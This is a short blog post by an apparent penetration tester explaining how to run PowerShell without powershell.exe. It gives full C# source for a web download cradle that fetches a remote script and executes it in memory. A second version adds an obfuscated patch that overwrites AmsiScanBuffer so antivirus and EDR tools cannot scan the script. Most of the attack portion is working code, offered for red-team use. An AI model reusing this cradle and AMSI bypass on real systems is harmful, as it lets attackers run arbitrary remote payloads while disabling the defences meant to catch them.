NyaMeeEain
4 min readAug 3, 2023

AMSI Patching Download Web Cradle without using powershell.exe

The web download cradle PowerShell technique is a sub-technique of the Command and Scripting Interpreter of the PowerShell tactic in the MITRE ATT&CK framework. The main objective is to download a payload from a command-and-control server or publicly hosted website and execute it within memory without writing it locally. The download cradle PowerShell can be used in a variety of ways. For example, we could use the download cradle technique to download a payload from a command-and-control server and execute it on the victim’s memory.

As penetration testers, attack simulation, and breach and attack simulation engineers, we experienced client block powershell.exe where we couldn’t execute PowerShell cmdlets and PowerShell script. This is a common scenario when we do attack simulation and breach and attack simulations activity for financial and insurance institutions.

To bypass this limitation, we can utilize the “System.Management.Automation” namespace in a C# binary to execute PowerShell cmdlets and scripts without needing to use the powershell.exe executable.

What this program does is very simple.I followed the documentation for the Web Client and invoked the PowerShell cmdlet without using Powershell.exe.

This C# program downloads a PowerShell script from a given URL and executes directly in the memory, and this program has no fancy code. The Main method defines the URL to download the PowerShell script from GitHub using a Web Client to retrieve script content as a string. If the download is successful, the ExecutePowerShellScript method is called.

It creates a PowerShell instance and adds the script content. The script is then executed using the Invoke method. I use the ‘System.Net.WebClient’ class to trigger HTTP requests and the ‘System.Management.Automation’ class to invoke PowerShell within the c# program without using powershell.exe

Below is the full code for the download web cradle without AMSI patching

using System;
using System.Net;
using System.Management.Automation;

class Powershell_Invoke
{
static void Main()
{
string scriptUrl = "https://raw.githubusercontent.com/3gstudent/test/master/calc.ps1";
string scriptContent = Data(scriptUrl);

if (!string.IsNullOrEmpty(scriptContent))
{
ExecutePowerShellScript(scriptContent);
}
else
{
Console.WriteLine("Unable to connect to the remote server");
}
}

static string Data(string url)
{
try
{
using (var webClient = new WebClient())
{
return webClient.DownloadString(url);
}
}
catch
{
return null;
}
}

static void ExecutePowerShellScript(string scriptContent)
{
try
{
using (PowerShell powerShellInstance = PowerShell.Create())
{
powerShellInstance.AddScript(scriptContent);
powerShellInstance.Invoke();
}
}
catch
{

}
}
}

AMSI (Anti-Malware Scan Interface) with .Net Framework 4.8

We should pay attention to AMSI (Antimalware Scan Interface) and ETW (Event Tracing for Windows) When working with .Net assembly to avoid detection by EDR solutions. Prior to.NET Framework 4.8, AMSI was only available for PowerShell to scan the content from URLs or files to reduce the PowerShell base attack surface. From NET Framework 4.8, Microsoft integrated AMSI and ETW into the .NET Framework 4.8 to ensure that all .NET assemblies are scanned for malicious content before execution. While the topic of AMSI and ETW is well-known and resourceful, this article will not delve into the rudimentary aspects of these concepts.

The combination of AMSI (Antimalware Scan Interface) and ETW (Event Tracing for Windows) makes it challenging for adversaries to simulate attacks, such as domain enumeration and privilege escalation, because AMSI scans the code and prevents it from being executed. ETW provider reports everything about binary and CLR events that can be utilized to track down the abuse of Dot Net assembly. Furthermore, EDR and antivirus leverage Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) features to detect and respond to potential adversary activity as ETW reports everything about .Net assembly. I developed a custom c# program with AMSI patching to overcome this obstacle. In this demonstration, I integrated D1rkMtr’s AMSI patching technique into my source code to patch AMSI.

Below is the full code for the download web cradle with AMSI patching

using System;
using System.Net;
using System.Management.Automation;
using System.Runtime.InteropServices;

class PSInvoke
{
static void Main()
{
AMSI_Patch();

string scriptUrl = "https://raw.githubusercontent.com/3gstudent/test/master/calc.ps1";
string scriptContent = Data(scriptUrl);

if (!string.IsNullOrEmpty(scriptContent))
{
ExecutePowerShellScript(scriptContent);
}
else
{
Console.WriteLine("Unable to connect to the remote server");
}
}

static string Data(string url)
{
try
{
using (var webClient = new WebClient())
{
return webClient.DownloadString(url);
}
}
catch
{
return null;
}
}

static void ExecutePowerShellScript(string scriptContent)
{
try
{
using (PowerShell powerShellInstance = PowerShell.Create())
{
powerShellInstance.AddScript(scriptContent);
powerShellInstance.Invoke();
}
}
catch
{

}
}

static void AMSI_Patch()
{
char[] chars = "lld.isma".ToCharArray();
Array.Reverse(chars);
string libName = new string(chars);

var moduleHandle = LoadLibrary(libName);

chars = "reffuBnacSismA".ToCharArray();
Array.Reverse(chars);
string procName = new string(chars);

var address = GetProcAddress(moduleHandle, procName);

byte[] newBytes = new byte[] { 0xB9, 0x58, 0x01, 0x08, 0x81, 0xC3, 0x19, 0x01 };

// Initially memory region was set to RWX
if (VirtualProtect(address, (UIntPtr)newBytes.Length, 0x40, out uint oldProtect))
{
for (var i = 0; i < newBytes.Length; i++)
{
newBytes[i] = (byte)((int)newBytes[i] - 1);
}

// Copy patch
Marshal.Copy(newBytes, 0, address, newBytes.Length);

// memory region was set back to RX to be safe opsec
_ = VirtualProtect(address, (UIntPtr)newBytes.Length, oldProtect, out _);

Console.WriteLine("Patched offset: 0x{0}", address.ToString("X2"));
}
else
{
Console.WriteLine("Failed to set memory protection.");
}
}

[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr LoadLibrary(string libName);

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
Figure 1: The Windows Def Antivirus signature appears to have been updated

References:

I would like to give special thanks to TheD1rkMtr as I integrate D1rkMtr’s AMSI patching technique into my code.
https://devblogs.microsoft.com/dotnet/announcing-net-framework-4-8-early-access-build-3694/